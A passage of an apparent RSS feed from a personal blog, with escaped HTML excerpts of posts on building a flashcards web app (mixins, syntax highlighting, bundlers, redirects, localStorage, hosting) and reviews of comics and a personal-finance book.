&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#75af00"&gt;randomizerMixin&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;Base&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;extends&lt;/span&gt; &lt;span style="color:#75af00"&gt;Base&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;randomize&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Foo&lt;/span&gt; &lt;span style="color:#111"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Bar&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;extends&lt;/span&gt; &lt;span style="color:#75af00"&gt;calculatorMixin&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;randomizerMixin&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;Foo&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt; &lt;span style="color:#111"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#mixinsMDN"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Markup Features</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/markup-features/</link><pubDate>Sat, 27 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/markup-features/</guid><description>&lt;h2 id="syntax-highlighting"&gt;Syntax Highlighting&lt;/h2&gt;
&lt;p&gt;Previously, we&amp;rsquo;d highlight code on the client by loading
&lt;code&gt;src/lib/highlight.pack.js&lt;/code&gt;, a bundle downloaded from &lt;span class="citation-ref"&gt;&lt;a href="#HighlightJS"&gt;&lt;/a&gt;&lt;/span&gt; but served from our domain, and then execute
&lt;code&gt;hljs.highlightBlock&lt;/code&gt; on demand, e.g., on page load, when showing a
card, etc. This doesn&amp;rsquo;t work well with a web-component-centric design.
Running &lt;code&gt;hljs.highlightBlock&lt;/code&gt; through possible Shadow DOM boundaries is
a hassle.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://github.com/dchege711/study_buddy/commit/02768f1f58eb73d9ae55d1f1d7eb31ec93dd7867"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Back in
2018
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
,
we installed &lt;code&gt;highlightjs&lt;/code&gt;, a shim for the official HighlightJS. Times
have changed and &lt;span class="citation-ref"&gt;&lt;a href="#HighlightJS"&gt;&lt;/a&gt;&lt;/span&gt; has an official Node package,

&lt;a href="https://www.npmjs.com/package/highlight.js"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &lt;code&gt;highlight.js&lt;/code&gt;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. Now, on
the server, compute the syntax-highlighted HTML and have it stored in
&lt;code&gt;Card.descriptionHTML&lt;/code&gt;. All that&amp;rsquo;s left is to provide CSS on the client.&lt;/p&gt;</description></item><item><title>Of Builds and Bundlers</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/of-builds-and-bundlers/</link><pubDate>Sat, 20 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/of-builds-and-bundlers/</guid><description>&lt;p&gt;Moving to TypeScript entails configuring how the JavaScript will be
eventually consumed by both the server and the client.&lt;/p&gt;
&lt;h2 id="separating-the-client-bundle-from-the-server-bundle"&gt;Separating the Client Bundle from the Server Bundle&lt;/h2&gt;
&lt;p&gt;The server code runs in &lt;code&gt;Node&lt;/code&gt; while the client code runs in the
browser. &lt;span class="citation-ref"&gt;&lt;a href="#projectReferences"&gt;&lt;/a&gt;&lt;/span&gt; advises separating the
configurations for advantages like faster type-checking and compiling,
lower memory usage when using an editor, and improved enforcement of the
logical groupings of your program.&lt;/p&gt;
&lt;p&gt;Webpack utilizes loaders to preprocess files, allowing the dev to bundle
any static resource. For example, &lt;code&gt;markdown-loader&lt;/code&gt; compiles markdown
into HTML. &lt;span class="citation-ref"&gt;&lt;a href="#webpackLoaders"&gt;&lt;/a&gt;&lt;/span&gt; I&amp;rsquo;ve been using

&lt;a href="https://github.com/TypeStrong/ts-loader"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &lt;code&gt;ts-loader&lt;/code&gt;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, and it should be
informative to know what else is out there, e.g.,

&lt;a href="https://github.com/privatenumber/esbuild-loader"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &lt;code&gt;esbuild-loader&lt;/code&gt;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
,
which has been mentioned at work. &lt;code&gt;esbuild-loader&lt;/code&gt;&amp;rsquo;s claim to fame is
speed; other benefits include transpiling to ES6+ using &lt;code&gt;esbuild&lt;/code&gt;.
&lt;code&gt;ts-loader&lt;/code&gt; admits to being slow, but because of type-checking all files
in every rebuild though granted that can be dangerously disabled via
&lt;code&gt;transpileOnly: true&lt;/code&gt;. 
&lt;a href="https://esbuild.github.io/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &lt;code&gt;esbuild&lt;/code&gt;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 makes
bold claims about being pretty fast, e.g., 87x faster than &lt;code&gt;rollup 4 + terser&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Client/Server Interface</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/client-server-interface/</link><pubDate>Fri, 19 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/client-server-interface/</guid><description>&lt;h2 id="how-to-handle-redirects-without-setting-windowlocationhref"&gt;How to handle redirects without setting &lt;code&gt;window.location.href&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;Right now, there&amp;rsquo;s a pattern of doing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;sendHTTPRequest&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;/login/&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;{})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;then&lt;/span&gt;&lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#75af00"&gt;_&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;window&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;location&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;href&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;catch&lt;/span&gt;&lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#75af00"&gt;err&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#75af00"&gt;console&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;error&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;err&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#111"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Isn&amp;rsquo;t this something that the server can do? In response, why not issue
a redirect?&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/programming-challenges/flashcards/client-server-interface/unfollowed-redirect.jpg"
 alt="Screenshot of the redirect chain from /login. The POST
request gets a 303 (See Other) redirect to /home. The browser then
makes a GET request to /home, which results in a 304 (Not Modified).
Why doesn&amp;rsquo;t the browser navigate me to /home?"&gt;&lt;figcaption&gt;
 &lt;p&gt;Screenshot of the redirect chain from /login. The POST
request gets a 303 (See Other) redirect to /home. The browser then
makes a GET request to /home, which results in a 304 (Not Modified).
Why doesn&amp;rsquo;t the browser navigate me to /home?&lt;/p&gt;</description></item><item><title>Use of Local Storage</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/use-of-local-storage/</link><pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/use-of-local-storage/</guid><description>&lt;p&gt;Back when I wrote this, the motivation for using &lt;code&gt;localStorage&lt;/code&gt; was to
reduce the trips to the server so that the app is usable offline.
However, with two data stores (&lt;code&gt;localStorage&lt;/code&gt; and the server), the
former has a possibility of going stale. What usage is correct and how
can we avoid stale data?&lt;/p&gt;
&lt;h2 id="localstoragesession_info"&gt;&lt;code&gt;localStorage['session_info']&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;getAccountInfo: () =&amp;gt; AuthenticateUser | null&lt;/code&gt; fetches the
&lt;code&gt;session_info&lt;/code&gt; entry and &lt;code&gt;JSON.parse&lt;/code&gt;s it into an &lt;code&gt;AuthenticateUser&lt;/code&gt;.
This is a possible failure point because the parsed JSON cannot be
trusted to be a valid &lt;code&gt;AuthenticateUser&lt;/code&gt; instance. This bit should be
removed.&lt;/p&gt;</description></item><item><title>Hosting the Flashcards App</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/hosting/</link><pubDate>Wed, 27 Mar 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/hosting/</guid><description>&lt;h2 id="current-state-saas"&gt;Current State: SaaS&lt;/h2&gt;
&lt;p&gt;The app is 
&lt;a href="https://dashboard.render.com/web/srv-cdb17nqen0hldb3lqj6g"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 hosted at
render.com
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;

on 
&lt;a href="https://docs.render.com/free"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Render&amp;rsquo;s free tier
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 that gives us
these free web services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom domains&lt;/li&gt;
&lt;li&gt;Managed TLS certificates&lt;/li&gt;
&lt;li&gt;Pull request reviews&lt;/li&gt;
&lt;li&gt;Log streams&lt;/li&gt;
&lt;li&gt;Rollbacks up to the two most recent previous deploys.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip; with these limitations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spins down after 15min of no inbound traffic. Spinning up on the next request causes a noticeable delay for a couple seconds.&lt;/li&gt;
&lt;li&gt;Monthly limits, which will suspend the app if exceeded:
&lt;ul&gt;
&lt;li&gt;750 instance hours.&lt;/li&gt;
&lt;li&gt;100GB bandwidth.&lt;/li&gt;
&lt;li&gt;500 pipeline minutes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Can be restarted at any time by Render.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Render&amp;rsquo;s free PostgreSQL database becomes inaccessible 90 days after
creation. For our DB needs, we&amp;rsquo;re using 
&lt;a href="https://www.mongodb.com/pricing"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 MongoDB&amp;rsquo;s free
tier
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, which has shared RAM, and 512MB
to 5GB of storage.&lt;/p&gt;</description></item><item><title>Deadpool Kills the Marvel Universe (2011 - 2012)</title><link>https://www.curiosities.dev/fiction/deadpool-kills-the-marvel-universe-2011-2012/</link><pubDate>Mon, 04 Mar 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/deadpool-kills-the-marvel-universe-2011-2012/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/deadpool-kills-marvel-universe.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='DeadpoolKillsMarvel'&gt;
 
 Deadpool Kills the Marvel Universe&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Cullen Bunn; Dalibor Talajic.
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/series/15487/deadpool_kills_the_marvel_universe_2011_-_2012" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/deadpool-kills-the-marvel-universe-cullen-bunn/12020941" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://marvel.fandom.com/wiki/Deadpool_Kills_the_Marvel_Universe_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=marvel.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;marvel.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2012.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 4, 2024.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;p&gt;WATCHER. It is here that Dr. Benjamin Brighton has introduced radical
new treatments designed to ease troubled minds&amp;hellip; and turn malicious souls
toward the pursuit of peace. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#DeadpoolKillsMarvel-1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>World War Hulk</title><link>https://www.curiosities.dev/fiction/world-war-hulk-2007/</link><pubDate>Sat, 02 Mar 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/world-war-hulk-2007/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/world-war-hulk-2007.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='WorldWarHulk'&gt;
 
 World War Hulk&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Greg Pak; John Romita Jr.;.
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/events/277/world_war_hulk" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/hulk-world-war-hulk-greg-pak/12003716" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2007.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;p&gt;HULK. We made a world. I was the Green King. And Caiera the Oldstrong was my
queen. But your &amp;ldquo;heroes&amp;rdquo; sent a bomb. Killed a million people. Now this
city will fall. You have twenty-four hours to evacuate. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#WorldWarHulk-1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Suicide Squad: Blaze</title><link>https://www.curiosities.dev/fiction/spurrier-blaze/</link><pubDate>Sun, 04 Feb 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/spurrier-blaze/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/spurrier-blaze.avif');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Blaze'&gt;
 
 Suicide Squad: Blaze&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Simon Spurrier; Aaron Campbell; Jordan Bellaire.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/suicide-squad-blaze" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/suicide-squad-blaze-simon-spurrier/15660126" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Suicide_Squad:_Blaze_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2022.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Suicide Squad is the quintessential trolley problem story. The anti-heroes have
done terrible things to get where they are, but the how can the writer make the
reader care about them? Amanda Waller is as amoral as they come, but to a point,
she becomes unjust to villains.&lt;/p&gt;</description></item><item><title>Riddler: Year One</title><link>https://www.curiosities.dev/fiction/dano-riddler-year-one/</link><pubDate>Wed, 31 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/dano-riddler-year-one/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/dano-riddler.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Riddler'&gt;
 
 The Riddler: Year One&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Paul Dano; Stevan Subic.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/the-riddler-year-one-2022/the-riddler-year-one" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/the-riddler-year-one-paul-dano/16399922" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://batman.fandom.com/wiki/The_Riddler:_Year_One" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=batman.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;batman.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2023.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;p&gt;EDWARD. Do they deserve a chance? How do they go on in a city that tells
them day after day that they are fractured and broken&amp;hellip; that there is not way
out or up? &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Riddler-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>American Jesus</title><link>https://www.curiosities.dev/fiction/millar-american-jesus/</link><pubDate>Mon, 29 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/millar-american-jesus/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/millar-american-jesus.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AmericanJesus'&gt;
 
 The American Jesus Trilogy&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Mark Millar; Peter Gross.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/american-jesus" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/the-chosen-one-the-american-jesus-trilogy-mark-millar/16329927" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2019.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 30, 2024.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s a coming of age story interrogating how a hero is formed, how a villain is
created, and how similar the lives of the righteous and wretched can be, how
fine the fault lines of good and evil are. &lt;span class="citation-ref"&gt;&lt;a href="#Gout2023"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>If You Can: How Millennials Can Get Rich Slowly</title><link>https://www.curiosities.dev/business/bernstein-if-you-can/</link><pubDate>Tue, 23 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/bernstein-if-you-can/</guid><description>&lt;h2 id="the-game-plan"&gt;The Game Plan&lt;/h2&gt;
&lt;p&gt;Save at least 15% of your salary from age 25 into a 401(k) plan, an IRA, or a
taxable account. Put equal amounts of that 15% into three buckets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A US total stock market index fund&lt;/li&gt;
&lt;li&gt;An international total stock market index fund&lt;/li&gt;
&lt;li&gt;A US total bond market index fund&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A lot of the conventional advice mentions S&amp;amp;P 500 instead of a total stock
market index. Maybe that&amp;rsquo;s because of the brand name? Fidelity&amp;rsquo;s total stock
market index has netted 13.80% in its lifetime compared to its S&amp;amp;P 500 tracker&amp;rsquo;s
14.81% &lt;span class="citation-ref"&gt;&lt;a href="#FZROX"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#FXAIX"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description></item><item><title>March</title><link>https://www.curiosities.dev/politics-and-governance/lewis-march/</link><pubDate>Sat, 13 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/lewis-march/</guid><description>&lt;h2 id="growing-up-in-segregated-america"&gt;Growing Up in Segregated America&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Enlightening to see the struggles addressed by the civil rights movement through
